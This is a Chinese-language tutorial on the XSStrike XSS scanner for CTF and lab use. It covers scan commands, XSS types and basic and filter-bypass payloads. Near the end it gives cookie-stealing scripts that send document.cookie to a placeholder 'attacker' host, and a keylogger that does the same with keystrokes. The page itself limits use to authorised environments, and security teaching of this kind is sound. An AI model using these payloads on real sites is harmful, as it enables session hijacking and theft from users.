XSStrike
2026/5/29工具工具Web安全XSSXSStrike大约 3 分钟
XSStrike
是什么
XSStrike 是 XSS 检测和 payload 辅助工具。它可以分析参数反射位置、生成 payload、测试过滤绕过。
CTF 中它适合作为辅助验证工具,但不能替代对 HTML、JavaScript、上下文的理解。
安装与配置
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
python3 -m pip install -r requirements.txt
python3 xsstrike.py -h建议在授权靶场或 CTF 环境中使用。
基本用法
测试 URL 参数
python3 xsstrike.py -u "http://target.com/search?q=test"带 Cookie
python3 xsstrike.py -u "http://target.com/search?q=test" --headers "Cookie: session=..."爬取测试
python3 xsstrike.py -u "http://target.com/" --crawl更多选项
指定参数
python3 xsstrike.py -u "http://target.com/search?q=test&name=admin" -p q测试 POST 参数
python3 xsstrike.py -u "http://target.com/login" --data "username=admin&password=test"自定义 Header
python3 xsstrike.py -u "http://target.com/search?q=test" --headers "Cookie: session=...\nX-Custom: value"跳过 DOM 扫描
python3 xsstrike.py -u "http://target.com/search?q=test" --skip-dom爬取深度
python3 xsstrike.py -u "http://target.com/" --crawl --level 3线程数
python3 xsstrike.py -u "http://target.com/" --crawl --threads 5测试所有参数
python3 xsstrike.py -u "http://target.com/search?q=test&name=admin" --params跳过确认
python3 xsstrike.py -u "http://target.com/search?q=test" --skip代理
python3 xsstrike.py -u "http://target.com/search?q=test" --proxy http://127.0.0.1:8080输出文件
python3 xsstrike.py -u "http://target.com/search?q=test" -o result.jsonXSS 类型
反射型 XSS
特点:
- 输入直接输出到页面
- 每次请求触发
- 不存储
测试:
- 搜索框
- URL 参数
- 表单输入存储型 XSS
特点:
- 输入存储后输出
- 多次触发
- 影响其他用户
测试:
- 留言板
- 用户资料
- 评论功能DOM 型 XSS
特点:
- JavaScript 处理输入
- 不经过服务器
- 页面内执行
测试:
- URL hash
- JavaScript 变量
- DOM 操作payload 构造
基本 payload
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>事件处理器
onload
onerror
onfocus
onblur
onclick
onmouseover
onmouseout
onkeydown
onkeyup
onsubmit
onchange绕过过滤
<!-- 大小写 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 双写 -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<!-- 编码 -->
<img src=x onerror=alert(1)>
<!-- 使用 JavaScript: -->
<a href="javascript:alert(1)">click</a>
<!-- 使用 data: -->
<a href="data:text/html,<script>alert(1)</script>">click</a>CSP 绕过
1. 检查 CSP 头
2. 分析允许的源
3. 寻找 JSONP 端点
4. 使用 base-uri 绕过
5. 使用 importScriptsCTF常用技巧
先判断反射位置
XSS 重点不是"有没有 <script>",而是输入进入了哪里:
HTML 文本
HTML 属性
JavaScript 字符串
URL
模板工具结果要手工复现
XSStrike 给出的 payload 要放回浏览器/Burp 里手动验证,确认是否真的执行。
管理员 bot 题
如果题目有 bot,重点是构造能在管理员上下文执行的 payload,并考虑 Cookie、同源和 CSP。
分析流程
1. 测试输入点
2. 确定反射位置
3. 分析过滤规则
4. 构造绕过 payload
5. 手动验证执行
6. 考虑 CSP 限制测试方法
1. 输入简单字符串观察输出
2. 输入特殊字符观察过滤
3. 输入标签观察是否执行
4. 使用工具生成 payload
5. 手动验证和调整Cookie 窃取
// 基本窃取
<script>new Image().src="http://attacker/steal?c="+document.cookie</script>
// 使用 fetch
<script>fetch("http://attacker/steal?c="+document.cookie)</script>
// 使用 XMLHttpRequest
<script>var x=new XMLHttpRequest();x.open("GET","http://attacker/steal?c="+document.cookie);x.send()</script>键盘记录
document.onkeypress=function(e){
new Image().src="http://attacker/log?k="+e.key;
}常见问题
工具没报 XSS,但手工能打
可能是上下文复杂、需要登录、需要特定交互或 payload 被工具过滤。
工具报了但浏览器不弹
可能是过滤、编码、CSP、浏览器差异或 payload 没进入可执行上下文。
能不能对真实网站使用
不建议。只能在授权环境、靶场和 CTF 中使用。
误报
1. 手动验证 payload
2. 检查是否真正执行
3. 检查 CSP 限制
4. 检查浏览器差异漏报
1. 尝试手动构造
2. 检查所有参数
3. 检查 POST 数据
4. 检查 Header关联
- XSS基础
- Cookie与Session
- CSRF基础
- Burp Suite
- curl